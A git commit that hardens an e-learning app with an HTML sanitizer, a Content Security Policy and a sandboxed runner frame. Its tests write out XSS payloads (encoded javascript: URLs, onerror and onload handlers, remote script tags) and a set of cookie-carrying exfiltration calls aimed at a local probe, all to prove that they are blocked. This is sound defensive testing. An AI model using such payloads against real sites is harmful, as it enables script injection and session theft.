fix(learner): review round 1: sanitize-html, sandboxed runner frame, one visibility rule, no Tab capture

C1: lesson HTML goes through a sanitize-html allowlist on the fully rendered output (no on* attributes, no
style, no svg/math/iframe/object/embed/form; URLs limited to http(s), mailto, relative and anchors). Raw tags
outside the allowlist are escaped as text. The SPA document is served with a CSP (script-src 'self', no inline
script) through spaWithCsp in main.ts; contract request §5 asks core to own it.

C2: exercises run in <iframe sandbox="allow-scripts"> (opaque origin, no cookies) loaded from
/api/learner/runner-frame, whose CSP allows only its own script (by hash) and blob: workers, and connect-src
'none'. postMessage only, both sides check event.source; the timeout removes the frame. The worker stubs now
also cover Worker, SharedWorker and caches.

I1: learner visibility calls core canView with per-course authorship only, like /api/media (contract request §6).
I2: Tab and Shift+Tab move focus; Enter keeps the previous line's indentation.

Tests: XSS unit cases, headless-Chrome checks for the exploit lesson and for fetch, import, Cache.add, nested
Worker, img, EventSource, WebSocket, XHR and sendBeacon from learner and test code (plus a negative control),
visibility on both dialects, SPA and runner-frame CSP headers.

Co-Authored-By: Claude Opus 5.5 <[email protected]>
This commit is contained in:
Lucas Winther
2026-10-30 05:20:43 +01:00
co-authored by Claude Opus 5.5
parent 061ae7a2d9
commit c7b9e1f98e
22 changed files with 840 additions and 42 deletions
@@ -0,0 +1,185 @@
// Headless-Chrome checks for the two security findings (C1 stored XSS, C2 runner isolation).
// Skipped when no Chrome is installed.
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
import { mkdtempSync, readFileSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
import { connect, type Db } from "@stc/db";
import { runMigrations } from "../src/server/migrate";
import { spaCsp } from "../src/server/spa";
import { makeApp, FIXTURES } from "./app";
import { Chrome, chromePath } from "./chrome";
interface Hit { path: string; cookie: string | null }
let chrome: Chrome, db: Db, app: Bun.Server<undefined>, probe: Bun.Server<undefined>;
const hits: Hit[] = [];
let P = "", ORIGIN = "";
const run = chromePath ? describe : describe.skip;
run("browser isolation (headless Chrome)", () => {
beforeAll(async () => {
// Bundled in a separate process: Bun.build inside a full bun test run is unreliable (EISDIR on node_modules).
const out = join(mkdtempSync(join(tmpdir(), "stc-harness-")), "harness.js");
const build = Bun.spawnSync([process.execPath, "build", join(import.meta.dir, "e2e/harness.tsx"), "--target=browser", "--outfile", out], { stdout: "pipe", stderr: "pipe" });
if (build.exitCode !== 0) throw new Error(`harness build failed: ${build.stderr.toString()}`);
const js = await Bun.file(out).text();
// A separate origin that records every request (and the cookie it carried). Cookies ignore ports, so a
// request from a same-site context would carry the page's cookie here.
probe = Bun.serve({
hostname: "localhost", port: 0,
fetch(req) {
const u = new URL(req.url);
hits.push({ path: u.pathname, cookie: req.headers.get("cookie") });
const js = u.pathname.endsWith(".js");
return new Response(js ? "export default 1;" : "ok", { headers: { "Access-Control-Allow-Origin": "*", "Content-Type": js ? "text/javascript" : "text/plain" } });
},
});
P = `http://localhost:${probe.port}`;
db = await connect("sqlite://:memory:");
await runMigrations(db);
const { app: learner } = await makeApp(db, [FIXTURES]);
const page = `<!doctype html><html><head><meta charset="utf-8"><script type="module" src="/harness.js"></script></head><body><div id="root"></div></body></html>`;
app = Bun.serve({
hostname: "localhost", port: 0,
fetch(req) {
const u = new URL(req.url);
// The harness page gets the same CSP as the SPA document.
if (u.pathname === "/harness.html") return new Response(page, { headers: { "Content-Type": "text/html", "Content-Security-Policy": spaCsp(), "Set-Cookie": "stc_probe=secret-session; Path=/; SameSite=Lax" } });
// The same page without any CSP: the runner must isolate learner code on its own.
if (u.pathname === "/harness-nocsp.html") return new Response(page, { headers: { "Content-Type": "text/html" } });
// Same-origin probe: a request here from learner code would carry the session cookie.
if (u.pathname.startsWith("/cookie-probe")) {
hits.push({ path: `app:${u.pathname}`, cookie: req.headers.get("cookie") });
return new Response("export default 1;", { headers: { "Content-Type": "text/javascript" } });
}
if (u.pathname === "/harness.js") return new Response(js, { headers: { "Content-Type": "text/javascript" } });
return learner.fetch(req);
},
});
ORIGIN = `http://localhost:${app.port}`;
chrome = await Chrome.launch();
await chrome.goto(`${ORIGIN}/harness.html`, 2000);
expect(await chrome.eval<boolean>("window.stcReady === true")).toBe(true);
}, 30_000);
afterAll(async () => {
await chrome?.close();
app?.stop(true);
probe?.stop(true);
await db?.close();
});
test("control: the probe sees requests from this browser, with the page's cookie", async () => {
// The SPA CSP (connect-src 'self') blocks fetches from the page itself, so the control is a top-level
// navigation. It proves that a leak would be recorded, and would carry the cookie.
await chrome.goto(`${P}/control`, 500);
await chrome.goto(`${ORIGIN}/harness.html`, 1500);
expect(await chrome.eval<boolean>("window.stcReady === true")).toBe(true);
const c = hits.find((h) => h.path === "/control");
expect(c).toBeDefined();
expect(c!.cookie ?? "").toContain("stc_probe=secret-session");
});
test("the SPA CSP itself blocks a page-level fetch to another origin", async () => {
const before = hits.length;
const r = await chrome.eval<string>(`fetch(${JSON.stringify(P + "/page-fetch")}).then(() => "open", (e) => "blocked")`);
expect(r).toBe("blocked");
expect(hits.slice(before)).toEqual([]);
});
test("the runner still works inside the sandboxed frame", async () => {
const dir = join(FIXTURES, "sample/exercises/add");
const tests = readFileSync(join(dir, "tests.js"), "utf8"), starter = readFileSync(join(dir, "starter.js"), "utf8");
const fail = await chrome.eval<{ passed: boolean; expected?: string; actual?: string }[]>(`stcRun(${JSON.stringify(starter)}, ${JSON.stringify(tests)}, 5000)`);
expect(fail.map((r) => r.passed)).toEqual([false, false]);
expect(fail[0]).toMatchObject({ expected: "5", actual: "-1" });
const pass = await chrome.eval<{ passed: boolean }[]>(`stcRun(${JSON.stringify(starter.replace("a - b", "a + b"))}, ${JSON.stringify(tests)}, 5000)`);
expect(pass.map((r) => r.passed)).toEqual([true, true]);
expect(await chrome.eval<number>("document.querySelectorAll('iframe').length")).toBe(0);
}, 20_000);
test("the timeout destroys the frame and its worker", async () => {
const tests = `export const tests = [{ name: "loop", run: (m) => m.spin() }];`;
const r = await chrome.eval<{ passed: boolean; message?: string }[]>(`stcRun("export function spin() { while (true) {} }", ${JSON.stringify(tests)}, 800)`);
expect(r[0]!.passed).toBe(false);
expect(r[0]!.message).toContain("Timed out");
expect(await chrome.eval<number>("document.querySelectorAll('iframe').length")).toBe(0);
}, 20_000);
const attack = (who: string) => `
const P = ${JSON.stringify(P)} + "/${who}";
const tryIt = (f) => { try { const r = f(); if (r && typeof r.then === "function") r.then(() => {}, () => {}); } catch (_) {} };
tryIt(() => fetch(P + "-fetch", { credentials: "include" }));
tryIt(() => import(P + "-import.js"));
tryIt(() => import(URL.createObjectURL(new Blob(['import "' + P + '-static-import.js";'], { type: "text/javascript" }))));
tryIt(() => caches.open("x").then((c) => c.add(P + "-cache")));
tryIt(() => new Worker(URL.createObjectURL(new Blob(['fetch("' + P + '-nested", { credentials: "include" })'], { type: "text/javascript" }))));
tryIt(() => { const i = new Image(); i.src = P + "-img"; });
tryIt(() => new EventSource(P + "-es", { withCredentials: true }));
tryIt(() => new WebSocket(P.replace("http", "ws") + "-ws"));
tryIt(() => { const x = new XMLHttpRequest(); x.open("GET", P + "-xhr"); x.send(); });
tryIt(() => importScripts(P + "-importscripts.js"));
tryIt(() => navigator.sendBeacon && navigator.sendBeacon(P + "-beacon", "x"));
tryIt(() => import(${JSON.stringify(ORIGIN)} + "/cookie-probe-${who}.js"));
tryIt(() => fetch(${JSON.stringify(ORIGIN)} + "/cookie-probe-${who}-fetch", { credentials: "include" }));
`;
const code = () => `${attack("code")}\nexport const add = (a, b) => a + b;`;
const tests = () => `${attack("tests")}\nexport const tests = [{ name: "wait", run: async () => { ${attack("run")} await new Promise((r) => setTimeout(r, 1500)); } }];`;
const leaksFrom = async (fn: "stcRun" | "stcRunPlain") => {
const before = hits.length;
await chrome.eval(`${fn}(${JSON.stringify(code())}, ${JSON.stringify(tests())}, 4000)`);
await Bun.sleep(1500);
return hits.slice(before);
};
let controlEnd = 0;
test("negative control: without the sandbox, a same-origin worker on a page without CSP leaks", async () => {
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
const leaked = await leaksFrom("stcRunPlain");
// Dynamic import gets through the stubs, to other origins and, with the session cookie, to the app itself.
expect(leaked.map((h) => h.path)).toContain("/code-import.js");
expect(leaked.some((h) => h.path === "app:/cookie-probe-code.js" && (h.cookie ?? "").includes("stc_probe"))).toBe(true);
controlEnd = hits.length;
}, 30_000);
test("C2: learner and test code reach nothing from the sandboxed runner, even on a page without CSP", async () => {
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
expect(await leaksFrom("stcRun")).toEqual([]);
}, 30_000);
test("C2: learner and test code reach nothing from the sandboxed runner on the SPA (with its CSP)", async () => {
await chrome.goto(`${ORIGIN}/harness.html`, 1500);
expect(await leaksFrom("stcRun")).toEqual([]);
// Only the control navigation (and the favicon request Chrome makes for it) ever carried the cookie.
// (The negative control's own leaks are excluded; they ran the old design on purpose.)
expect(hits.slice(controlEnd).filter((h) => (h.cookie ?? "").includes("stc_probe"))).toEqual([]);
}, 30_000);
test("C1: the reviewer's exploit lesson does not run script in LessonView (page without CSP)", async () => {
// No CSP here, so the sanitizer alone has to stop the script.
await chrome.goto(`${ORIGIN}/harness-nocsp.html`, 1500);
const beacon = `fetch('${P}/xss')`;
const md = [
"<details>\n<summary>Think first</summary>\n<img src=x onerror=\"window.__xss=1;" + beacon + "\"\n\nNext paragraph\n</details>",
"<div>\n<img src=x onerror=window.__xss=2\n\nAnother\n</div>",
"<svg onload=\"window.__xss=3\"></svg>",
"<details><summary onclick=\"window.__xss=4\">Hint 1 — nudge</summary>\n\nx\n\n</details>",
"[a](javascript:window.__xss=5) [b](JaVaScRiPt:window.__xss=6) <a href=\"jav&#x61;script:window.__xss=7\">c</a>",
"<iframe src=\"javascript:parent.__xss=8\"></iframe><script>window.__xss=9</script>",
].join("\n\n");
const before = hits.length;
const html = await chrome.eval<string>(`stcRenderLesson(${JSON.stringify(md)}, ${JSON.stringify("<img src=x onerror=window.__xss=10")})`);
// Click every link and summary, as a learner would.
await chrome.eval(`(() => { for (const a of document.querySelectorAll("#root a, #root summary")) { try { a.dispatchEvent(new MouseEvent("click", { bubbles: true, cancelable: true })); } catch (_) {} } })()`);
await Bun.sleep(800);
expect(await chrome.eval("window.__xss ?? null")).toBeNull();
expect(chrome.dialogs).toEqual([]);
expect(hits.slice(before).filter((h) => h.path === "/xss")).toEqual([]);
expect(html).toContain("Next paragraph");
expect(html).not.toMatch(/<[a-z][^>]*\son[a-z]+=/i);
}, 30_000);
});
+68
View File
@@ -0,0 +1,68 @@
import { mkdtempSync, rmSync } from "node:fs";
import { tmpdir } from "node:os";
import { join } from "node:path";
/** Path of a usable Chrome, or null (the browser tests are skipped without one). */
export const chromePath = Bun.which("google-chrome") ?? Bun.which("chromium") ?? Bun.which("chromium-browser");
/** A minimal Chrome DevTools Protocol driver for headless end-to-end checks. */
export class Chrome {
private ws!: WebSocket;
private id = 0;
private pending = new Map<number, (v: { result?: any; error?: any }) => void>();
readonly console: string[] = [];
readonly dialogs: string[] = [];
private proc!: Bun.Subprocess;
private dir!: string;
static async launch(): Promise<Chrome> {
const c = new Chrome();
c.dir = mkdtempSync(join(tmpdir(), "stc-chrome-"));
const port = 9400 + Math.floor(Math.random() * 500);
c.proc = Bun.spawn([chromePath!, "--headless=new", "--no-sandbox", "--disable-gpu", "--no-first-run", `--remote-debugging-port=${port}`, `--user-data-dir=${c.dir}`, "about:blank"], { stdout: "ignore", stderr: "ignore" });
let url: string | null = null;
for (let i = 0; i < 100 && !url; i++) {
await Bun.sleep(100);
try {
const list = (await (await fetch(`http://127.0.0.1:${port}/json`)).json()) as { type: string; webSocketDebuggerUrl: string }[];
url = list.find((t) => t.type === "page")?.webSocketDebuggerUrl ?? null;
} catch { /* not up yet */ }
}
if (!url) throw new Error("chrome did not start");
c.ws = new WebSocket(url);
await new Promise((r) => c.ws.addEventListener("open", r, { once: true }));
c.ws.addEventListener("message", (ev) => {
const m = JSON.parse(String(ev.data));
if (m.id && c.pending.has(m.id)) { c.pending.get(m.id)!(m); c.pending.delete(m.id); }
if (m.method === "Runtime.consoleAPICalled") c.console.push(`${m.params.type}: ${m.params.args.map((a: any) => a.value ?? a.description).join(" ")}`);
if (m.method === "Runtime.exceptionThrown") c.console.push(`exception: ${m.params.exceptionDetails.exception?.description ?? m.params.exceptionDetails.text}`);
if (m.method === "Page.javascriptDialogOpening") { c.dialogs.push(m.params.message); void c.send("Page.handleJavaScriptDialog", { accept: true }); }
});
await c.send("Page.enable");
await c.send("Runtime.enable");
return c;
}
send(method: string, params: object = {}): Promise<{ result?: any; error?: any }> {
return new Promise((r) => { const i = ++this.id; this.pending.set(i, r); this.ws.send(JSON.stringify({ id: i, method, params })); });
}
async goto(url: string, settleMs = 1500) {
await this.send("Page.navigate", { url });
await Bun.sleep(settleMs);
}
/** Evaluates `js` in the page (awaiting promises) and returns the JSON value. */
async eval<T = unknown>(js: string): Promise<T> {
const r = await this.send("Runtime.evaluate", { expression: js, awaitPromise: true, returnByValue: true });
if (r.result?.exceptionDetails) throw new Error(r.result.exceptionDetails.exception?.description ?? "evaluation failed");
return r.result?.result?.value as T;
}
async close() {
try { this.ws.close(); } catch { /* closed */ }
this.proc.kill();
await this.proc.exited;
rmSync(this.dir, { recursive: true, force: true });
}
}
@@ -0,0 +1,39 @@
// Browser harness for the headless-Chrome tests: the real runner and the real LessonView, bundled for the browser.
import { createRoot } from "react-dom/client";
import { createBrowserRunner } from "../../src/web/runner/runner";
import { WORKER_SOURCE } from "../../src/web/runner/worker-source";
import { LessonView } from "../../src/web/lesson/LessonView";
import type { LessonPayload } from "../../src/shared/types";
declare global {
interface Window {
stcRun(code: string, tests: string, timeoutMs: number): Promise<unknown>;
/** Negative control only: the old design, a same-origin blob worker in the page. */
stcRunPlain(code: string, tests: string, timeoutMs: number): Promise<unknown>;
stcRenderLesson(markdown: string, hintBody: string): Promise<string>;
stcReady: boolean;
}
}
window.stcRun = (code, tests, timeoutMs) => createBrowserRunner("js").run(code, tests, timeoutMs);
window.stcRunPlain = (code, tests, timeoutMs) => createBrowserRunner("js", {
createWorker: () => new Worker(URL.createObjectURL(new Blob([WORKER_SOURCE], { type: "text/javascript" })), { type: "module" }),
}).run(code, tests, timeoutMs);
window.stcRenderLesson = async (markdown, hintBody) => {
const lesson: LessonPayload = {
courseId: "c", courseTitle: "C", lesson: { id: "x", title: "Exploit", type: "exercise", minutes: null },
module: { id: "m", title: "M", index: 0 }, locked: false, markdown, baseFile: "course/x.md", trackMarkdown: {}, tracks: [],
video: null, transcript: null, hints: [{ label: "nudge", body: hintBody }], decks: [], code: null, attachments: [], browser: null,
localCommand: null, prev: null, next: null, lessonFiles: {},
};
const el = document.getElementById("root")!;
createRoot(el).render(<LessonView lesson={lesson} preview />);
await new Promise((r) => setTimeout(r, 300));
// Open every fold so nested content is live in the DOM too.
for (const d of document.querySelectorAll("details")) d.open = true;
await new Promise((r) => setTimeout(r, 500));
return el.innerHTML;
};
window.stcReady = true;
@@ -106,3 +106,12 @@ test("helpers: local command per track, note timestamps, code tree", () => {
expect(t.dirs.get("src")!.files.map((f) => f.path)).toEqual(["src/b.ts"]);
expect(t.dirs.get("src")!.dirs.get("x")!.files[0]!.path).toBe("src/x/c.ts");
});
test("the exercise editor: no Tab capture, Enter keeps the indentation", async () => {
const { newlineWithIndent } = await import("../src/web/lesson/Exercise");
expect(newlineWithIndent("function f() {\n return 1", 26)).toBe("\n ");
expect(newlineWithIndent("x", 1)).toBe("\n");
expect(newlineWithIndent("\t\tx", 3)).toBe("\n\t\t");
const src = await Bun.file(new URL("../src/web/lesson/Exercise.tsx", import.meta.url)).text();
expect(src).not.toMatch(/e\.key === "Tab"/);
});
@@ -100,11 +100,12 @@ test("systemic-design hint numbering forms one group", () => {
});
test("raw HTML is reduced to safe tags", () => {
expect(sanitizeHtml('<script>alert(1)</script><kbd>x</kbd><img src=x onerror=alert(1)><details open>')).toBe("&lt;script&gt;alert(1)&lt;/script&gt;<kbd>x</kbd>&lt;img src=x onerror=alert(1)&gt;<details open>");
expect(sanitizeHtml('<script>alert(1)</script><kbd>x</kbd><img src=x onerror=alert(1)><details open>')).toBe('&lt;script&gt;alert(1)&lt;/script&gt;<kbd>x</kbd><img src="x" /><details open></details>');
const html = renderLessonHtml('<div onclick="x()">hi</div>\n\n[x](javascript:alert(1)) <span style="color:red">s</span>', opts);
expect(html).not.toContain("<div");
expect(html).toContain("<div>hi</div>");
expect(html).not.toContain("onclick");
expect(html).not.toContain("javascript:");
expect(html).not.toContain('<span style');
expect(html).not.toContain("style=");
});
test("links and images resolve inside the course", () => {
@@ -114,7 +115,7 @@ test("links and images resolve inside the course", () => {
expect(resolveHref("https://example.com", opts, "link")).toEqual({ url: "https://example.com", external: true });
expect(resolveHref("img/a.png", opts, "image")).toEqual({ url: "/api/media/pure-snake/course/img/a.png", external: false });
const html = renderLessonHtml("![board](img/board.png) and [ext](https://x.org)", opts);
expect(html).toContain('<img src="/api/media/pure-snake/course/img/board.png" alt="board" loading="lazy">');
expect(html).toContain('<img src="/api/media/pure-snake/course/img/board.png" alt="board" loading="lazy" />');
expect(html).toContain('target="_blank" rel="noopener noreferrer"');
});
+65
View File
@@ -0,0 +1,65 @@
import { expect, test } from "bun:test";
import { inlineScriptHashes, spaCsp, spaWithCsp } from "../src/server/spa";
import { RUNNER_FRAME_CSP, RUNNER_FRAME_PATH } from "../src/server/runnerFrame";
import { connect } from "@stc/db";
import { runMigrations } from "../src/server/migrate";
import { makeApp } from "./app";
const scriptSrc = (csp: string) => csp.split(";").map((d) => d.trim()).find((d) => d.startsWith("script-src"))!;
test("the SPA CSP allows scripts from 'self' only, never inline", () => {
const s = scriptSrc(spaCsp());
expect(s).toBe("script-src 'self'");
expect(spaCsp()).toContain("object-src 'none'");
expect(spaCsp()).toContain("frame-ancestors 'self'");
expect(inlineScriptHashes('<script src="/a.js"></script><script>x()</script>')).toEqual([
`sha256-${new Bun.CryptoHasher("sha256").update("x()").digest("base64")}`,
]);
});
// A stand-in for the bundled index.html (bundling inside bun test is unreliable); the real bundle is checked
// against the dev server (see wp-learner-report.md, fix round 1).
const DOC = '<!doctype html><html><head><script type="module" src="/_bun/client/app.js"></script><script>helper()</script></head><body><div id="root"></div></body></html>';
const upstream = (req: Request) => new URL(req.url).pathname.endsWith(".js")
? new Response("console.log(1)", { headers: { "Content-Type": "text/javascript" } })
: new Response(DOC, { headers: { "Content-Type": "text/html;charset=utf-8" } });
for (const development of [false, true]) {
test(`the SPA document is served with the CSP header (development: ${development})`, async () => {
const spa = spaWithCsp(upstream, { development });
const server = Bun.serve({ hostname: "127.0.0.1", port: 0, routes: { "/api/x": () => new Response("api"), ...spa.routes } });
try {
const r = await fetch(`http://127.0.0.1:${server.port}/c/sample/m1-intro`);
expect(r.status).toBe(200);
const csp = r.headers.get("content-security-policy")!;
expect(await r.text()).toBe(DOC);
const s = scriptSrc(csp);
expect(s).not.toContain("unsafe-inline");
expect(s).not.toContain("unsafe-eval");
// Production never allows inline script; development allows only the exact injected helper, by hash.
expect(s).toBe(development ? `script-src 'self' '${inlineScriptHashes(DOC)[0]}'` : "script-src 'self'");
const asset = await fetch(`http://127.0.0.1:${server.port}/_bun/client/app.js`);
expect(asset.status).toBe(200);
expect(asset.headers.get("content-security-policy")).toBeNull();
expect(await (await fetch(`http://127.0.0.1:${server.port}/api/x`)).text()).toBe("api");
} finally {
server.stop(true);
spa.stop();
}
});
}
test("the runner frame is served sandboxed, with no connections and only its own script", async () => {
const db = await connect("sqlite://:memory:");
await runMigrations(db);
const { call } = await makeApp(db);
const r = await call("GET", RUNNER_FRAME_PATH);
expect(r.status).toBe(200);
const csp = r.headers.get("content-security-policy")!;
expect(csp).toBe(RUNNER_FRAME_CSP);
expect(csp).toContain("connect-src 'none'");
expect(csp).toContain("sandbox allow-scripts");
expect(csp).not.toContain("allow-same-origin");
expect(scriptSrc(csp)).toMatch(/^script-src 'sha256-[A-Za-z0-9+/=]+' blob:$/);
await db.close();
});
@@ -0,0 +1,27 @@
import { expect } from "bun:test";
import { forEachDb } from "./helpers";
import { FIXTURES, makeApp } from "./app";
import { extraCourses } from "./courses";
forEachDb("one visibility rule: the global author role alone does not open a restricted course (I1)", async (db) => {
const dir = await extraCourses();
const { call, signUp } = await makeApp(db, [FIXTURES, dir]);
const owner = await signUp("[email protected]");
const author = await signUp("[email protected]");
const coAuthor = await signUp("[email protected]");
const users = (await (await call("GET", "/api/admin/users", { cookie: owner })).json()) as { id: string; email: string }[];
const id = (e: string) => users.find((u) => u.email === e)!.id;
expect((await call("PUT", `/api/admin/users/${id("[email protected]")}/roles`, { cookie: owner, body: { roles: ["author"] } })).status).toBe(200);
expect((await call("PUT", "/api/admin/courses/secret/access", { cookie: owner, body: { authors: [id("[email protected]")] } })).status).toBe(200);
const paths = ["/api/courses/secret", "/api/courses/secret/lessons/s1", "/api/media/secret/a.md"];
for (const p of paths) {
expect([p, (await call("GET", p, { cookie: author })).status]).toEqual([p, 404]);
expect([p, (await call("GET", p, { cookie: coAuthor })).status]).toEqual([p, 200]);
}
const lib = async (c: string) => ((await (await call("GET", "/api/library", { cookie: c })).json()) as { courses: { id: string }[] }).courses.map((x) => x.id);
expect(await lib(author)).not.toContain("secret");
expect(await lib(coAuthor)).toContain("secret");
const search = (await (await call("GET", "/api/library/search?q=hidden", { cookie: author })).json()) as unknown[];
expect(search).toEqual([]);
});
+84
View File
@@ -0,0 +1,84 @@
import { expect, test } from "bun:test";
import { renderHintsHtml, renderLessonHtml, sanitizeHtml } from "../src/web/markdown";
const opts = { courseId: "c", baseFile: "course/l.md", tracks: [], lessonFiles: {} };
const decode = (s: string) => s.replace(/&#x([0-9a-f]+);?/gi, (_, h) => String.fromCodePoint(parseInt(h, 16)))
.replace(/&#(\d+);?/g, (_, d) => String.fromCodePoint(Number(d))).replace(/&colon;/gi, ":").replace(/&tab;/gi, "\t").replace(/&newline;/gi, "\n").replace(/&amp;/g, "&");
/** Fails when real tags in `html` carry event handlers, style, a dangerous URL, or are script-capable elements. */
function expectSafe(html: string) {
const tags = html.match(/<[a-zA-Z][^>]*>/g) ?? [];
for (const t of tags) {
expect(t).not.toMatch(/\son[a-z]+\s*=/i);
expect(t).not.toMatch(/\sstyle\s*=/i);
expect(t).not.toMatch(/^<(script|style|svg|math|iframe|object|embed|form|input|button|textarea|select|link|meta|base|frame|frameset)\b/i);
for (const m of t.matchAll(/\s(?:href|src|action|formaction|xlink:href)\s*=\s*"([^"]*)"/gi)) {
const url = decode(m[1]!).replace(/[\u0000- \u007f-\u009f]/g, "").toLowerCase();
expect(url).not.toMatch(/^(javascript|vbscript|data|file):/);
}
}
// An unterminated tag must never swallow following markup into its attributes.
expect(html).not.toMatch(/<img[^>]*<p/i);
}
test("the reviewer's exploit: an unclosed tag inside <details> or <div>", () => {
for (const wrapper of ["details", "div"]) {
const md = `<${wrapper}>\n<summary>Think first</summary>\n<img src=x onerror=alert(1)\n\nNext paragraph\n`;
const html = renderLessonHtml(md, opts);
expectSafe(html);
expect(html).not.toContain("onerror=alert");
expect(html).toContain("Next paragraph");
}
});
test("unclosed tags at the end of a token and across blocks", () => {
for (const md of [
"<img src=x onerror=alert(1)",
"text <img src=x onerror=alert(1)\n\n# Heading\n\n<b>bold",
"<details><summary>a</summary>\n\n<a href=\"x\" onclick=\"alert(1)\"\n\nmore\n\n</details>",
"<span title='\n\n'onmouseover=alert(1) x='>hover</span>",
"<div\nonmouseover=alert(1)>x</div>",
]) expectSafe(renderLessonHtml(md, opts));
});
test("javascript:, data: and vbscript: URLs in any case or encoding are removed", () => {
const payloads = [
"javascript:alert(1)", "JaVaScRiPt:alert(1)", " javascript:alert(1)", "java\tscript:alert(1)", "java&#x09;script:alert(1)",
"jav&#x61;script:alert(1)", "&#106;avascript:alert(1)", "&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;alert(1)",
"javascript&colon;alert(1)", "vbscript:msgbox(1)", "VBScript:msgbox(1)", "data:text/html,<script>alert(1)</script>",
"DATA:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==", "data:image/svg+xml,<svg onload=alert(1)>",
];
for (const p of payloads) {
expectSafe(renderLessonHtml(`[link](${p.replace(/ /g, "%20")}) and <a href="${p}">raw</a> and <img src="${p}"> and ![i](${p.replace(/ /g, "%20")})`, opts));
expectSafe(sanitizeHtml(`<a href="${p}">x</a><img src="${p}">`));
}
});
test("svg, math, iframe, object, embed, form, script and style never become elements", () => {
const md = [
"<svg onload=alert(1)><circle /></svg>", "<svg><script>alert(1)</script></svg>", "<math><mi xlink:href=\"javascript:alert(1)\">x</mi></math>",
"<iframe src=\"javascript:alert(1)\"></iframe>", "<object data=\"x.swf\"></object>", "<embed src=\"x\">",
"<form action=\"javascript:alert(1)\"><button formaction=\"javascript:alert(1)\">go</button></form>",
"<script>alert(1)</script>", "<style>body{display:none}</style>", "<SCRIPT SRC=//x.example/x.js></SCRIPT>",
"<a href=\"https://ok.example\" style=\"position:fixed\" target=\"_self\">ok</a>",
].join("\n\n");
const html = renderLessonHtml(md, opts);
expectSafe(html);
expect(html).toContain('<a href="https://ok.example" target="_blank" rel="noopener noreferrer">ok</a>');
});
test("<details><summary onclick> keeps the fold but drops the handler", () => {
const html = renderLessonHtml('<details><summary onclick="alert(1)">Hint 1 — nudge</summary>\n\ntext\n\n</details>', opts);
expectSafe(html);
expect(html).toContain('<details class="fold" data-hint="1"');
expect(html).not.toContain("onclick");
const hints = renderHintsHtml([{ label: "nudge <img src=x onerror=alert(1)>", body: "<img src=x onerror=alert(1)" }], opts);
expectSafe(hints);
});
test("generic types in prose stay visible as text", () => {
const html = renderLessonHtml("A value of type IO<A> or Stream<Action>.", opts);
expect(html).toContain("IO&lt;A&gt;");
expect(html).toContain("Stream&lt;Action&gt;");
});